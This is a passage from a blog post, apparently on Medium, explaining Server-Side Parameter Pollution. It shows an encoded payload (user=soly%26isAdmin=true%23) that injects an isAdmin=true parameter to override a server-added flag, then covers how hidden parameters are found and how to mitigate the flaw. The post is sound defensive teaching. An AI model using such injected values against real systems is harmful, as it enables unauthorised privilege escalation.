src="https://cdn-images-1.medium.com/max/1024/1*2zBjXJvoyA9pQ_nZTj1otA.png" /></figure><h3><strong>Now that we understand what the vulnerability is and where it resides, the question is: how can it be exploited ?</strong></h3><p>As an example, characters like <strong>#</strong> and <strong>&amp;</strong> can be used to exploit this vulnerability through query parameters — particularly in GET requests.</p><p>If the server constructs internal API requests based on user-supplied input without proper URL encoding or validation, an attacker might inject additional parameters using <strong>&amp;</strong>, or truncate the request using <strong>#</strong>, depending on how the server parses the input.</p><p>Imagine a GET request to example.com that takes a user parameter:</p><p><strong>GET /dashboard?user=soly</strong></p><p>On the server side, this parameter is accepted and used to construct a request to an internal API. The server appends an additional parameter — isAdmin, which is set to either true or false based on the user’s privileges.</p><p>For example:</p><p><strong>Internal API call → GET /internal/features?user=soly&amp;isAdmin=false</strong></p><p>The internal API returns different features depending on the isAdmin flag. Admin users see more functionality than normal users.</p><h3>Now imagine this clever trick:</h3><p>Instead of sending a regular request like:</p><p><strong>/dashboard?user=soly</strong></p><p>The attacker encodes special characters and sends:</p><p><strong>/dashboard?user=soly%26isAdmin=true%23</strong></p><p>From the client’s point of view, the URL looks harmless — it’s just a string. But once it reaches the server, it gets decoded into:</p><p><strong>user=soly&amp;isAdmin=true#</strong></p><p>The server then appends its own parameter, like isAdmin=false, resulting in a full internal API call like:</p><p><strong>/internal/features?user=soly&amp;isAdmin=true#&amp;isAdmin=false</strong></p><p>But here’s the trick: since the server is now acting as the client, anything after the # is treated as a fragment and ignored in the actual HTTP request. That means the internal API only sees:</p><p><strong>/internal/features?user=soly&amp;isAdmin=true</strong></p><p>The attacker has successfully overridden the admin status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*AbH_0pF_ZCu1soX0T04_zA.png" /><figcaption>Request from client-side To Server-side</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*zcfBJzEDJ3MJj_xpE-9qNw.png" /><figcaption>Request from Server-side(Act as Client) To internal API</figcaption></figure><p>To successfully exploit SSPP, an attacker usually needs to know the names of the hidden parameters that the server appends to internal requests — like isAdmin in our previous example.</p><p>This information isn’t always visible to end users, but it can sometimes be discovered through:</p><p><strong>Error-based information disclosure</strong>: When the application leaks internal logic via stack traces, debug messages, or verbose error responses.</p><p><strong>Fuzzing techniques</strong>: Tools like <strong>Burp Suite Intruder</strong> or <strong>Param Miner</strong> can be used to probe the application with various parameter names and analyze the differences in response behavior. If a hidden parameter exists, these tools may help uncover it.</p><p>Once the attacker identifies such parameters, they can attempt to override them by injecting duplicates into the request — paving the way for successful SSPP.</p><h3><strong>Mitigation</strong></h3><p><strong>This is the same backend code as before, but with a few additional steps applied to effectively mitigate the Server-Side Parameter Pollution (SSPP) vulnerability.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oPIsCyk0KwZ6pjiF1oRyUQ.png" /></figure><p><strong>Input Filtering:</strong> Rejected any user input containing suspicious characters such as &amp;, =, or # which could allow parameter injection or breaking query structure.</p><p><strong>URL Encoding:</strong> Properly URL-encoded the entire user-supplied value using <strong>urllib.parse.quote_plus()</strong> before appending it to the internal request, ensuring that any malicious characters are safely escaped.</p><p><strong>Safe Internal Parameter Placement:</strong> Appended internal parameter (isAdmin=false) after sanitizing the user input, reducing the risk of it being overridden or bypassed.</p><h3>Reference:</h3><p>For further reading and hands-on practice with a similar scenario, you can check PortSwigger’s official documentation on Server-Side Parameter Pollution, which includes an interactive lab:<br><a href="https://portswigger.net/web-security/api-testing/server-side-parameter-pollution">https://portswigger.net/web-security/api-testing/server-side-parameter-pollution</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46bb18369557" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>